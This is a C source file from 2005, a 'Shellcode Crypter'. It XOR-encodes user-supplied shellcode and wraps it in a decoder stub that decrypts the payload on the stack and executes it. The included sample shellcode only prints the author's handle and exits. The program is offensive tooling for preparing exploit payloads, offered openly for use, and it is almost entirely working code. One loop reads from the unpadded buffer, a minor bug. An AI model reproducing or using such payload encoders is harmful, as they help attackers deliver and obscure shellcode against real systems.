/*
 *	Shellcode Crypter (Linux _ Windows) (?!?) ALPHA_beta
 *		Coded by Shen139	21-01-2005 - 13:00
 *		shen139 (at) eviltime [dot] c0m
 *
 * ...
 * //PUT HERE YOUR SHELLCODE
 * char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
 * "\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
 * "\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";
 * ...
 * 
 * Put tHERE your shellcode, then run the program and copy the output! That's your shellcode:
 * crypted and encapsulated into a decrypter that decrypt it into the stack and then execute it!
 *
 * -[...You won't worry anymore for 0x00 in your shellcode...]-
 *
 * Enjoy :D
 *
 */

//PUT HERE YOUR SHELLCODE
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
"\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
"\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";

//Set SHELLCODE_LENGHT with 0 if your shellcode does not contain \x00
// otherwise set it with the lenght of the shellcode
#define SHELLCODE_LENGHT	0

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAGIC_SUFFIX_PARTa		"\\x33\\xC9\\x8B\\xDC\\x80\\x33"
#define	MAGIC_SUFFIX_PARTb		"\\x43\\x41\\x83\\xF9"
#define MAXIC_SUFFIX_PARTc		"\\x75\\xF6\\x54\\xC3"


int main()
{
char*flShellcode=(char*)malloc(sizeof(shellcode)+4);
int i,b,SLLen,xor,found;

	printf("Shellcode Crypter\n Coded by Shen139\n  shen139 (at) eviltime [dot] com\n\n\n");

// stage1

	SLLen=(SHELLCODE_LENGHT==0)?strlen(shellcode):SHELLCODE_LENGHT;

	memcpy(flShellcode,shellcode,SLLen);

	for(xor=1;xor<=0xFF;xor++)
	{
		found=1;
		for(b=0;b<SLLen;b++)
		{
			if(flShellcode[b]==xor)
			{
				found=0;
				break;
			}
		}
		if(found==1)
			break;
	}

	printf(" - Xoring with 0x%X\n\n\n - Shellcode:\n\n",xor);

// stage2

	while(SLLen%4!=0)
		flShellcode[SLLen++]=	(unsigned char)0x90;

// stage3

	for(i=SLLen-4;i>=0;i-=4)
	{
		printf("\\x68");

		for(b=0;b<4;b++)
			printf("\\x%X",(unsigned char)shellcode[i+b]^xor);
	}

// stage4

	printf(MAGIC_SUFFIX_PARTa);

	printf("\\x%X",xor);

	printf(MAGIC_SUFFIX_PARTb);

	printf("\\x%X",(unsigned char)strlen(shellcode));

	printf(MAXIC_SUFFIX_PARTc);

	printf("\n\n");

return 0;
}

/*EOF*/